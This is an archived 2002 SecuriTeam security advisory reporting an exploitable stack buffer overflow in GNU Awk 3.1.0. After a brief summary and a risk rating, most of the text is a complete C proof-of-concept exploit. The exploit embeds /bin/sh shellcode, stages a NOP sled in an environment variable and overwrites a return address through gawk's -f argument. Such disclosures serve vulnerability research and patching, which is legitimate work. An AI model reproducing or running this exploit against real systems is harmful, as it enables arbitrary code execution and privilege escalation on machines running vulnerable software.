[EXPL] Gawk Contains an Exploitable Buffer Overflow
From: support@securiteam.comDate: 04/17/02
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From: support@securiteam.com To: list@securiteam.com Date: Wed, 17 Apr 2002 20:09:58 +0200 (CEST)
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Gawk Contains an Exploitable Buffer Overflow
------------------------------------------------------------------------
SUMMARY
<http://www.gnu.org/software/gawk/gawk.html> GNU Awk (gawk) is a pattern
scanning and processing language and implementation of the AWK programming
language. An exploitable stack overflow has been found in the product that
allows attackers to execute arbitrary code by overflowing its internal
buffers.
DETAILS
Vulnerable systems:
Gawk version 3.1.0
Risk:
Low. Gawk is not setuid by default, however several programs use it,
opening a possibility of privilege escalation.
Exploit:
/* local GNU Awk 3.1.0-x proof of concept exploit */
#include <stdio.h>
#include <sys/signal.h>
void aborted(int);
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int
main()
{
unsigned long ret = 0xbffffd30;
char buf[8214];
char egg[1024];
char *ptr;
int i=0;
memset(buf,0x90,sizeof(buf));
ptr = egg;
for (i = 0; i < 1024 - strlen(shellcode) -1; i++) *(ptr++) = '\x90';
for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
egg[1024 - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
buf[8209] = (ret & 0x000000ff);
buf[8210] = (ret & 0x0000ff00) >> 8;
buf[8211] = (ret & 0x00ff0000) >> 16;
buf[8212] = (ret & 0xff000000) >> 24;
buf[8213] = 0x00;
printf("local GNU Awk 3.1.0-x proof of concept exploit\n");
printf("ret: 0x%x\n",ret);
printf("buf: %d\n\n",strlen(buf));
execl("/usr/bin/gawk", "gawk", "-f" , buf, NULL);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:eSDee@netric.org> eSDee.
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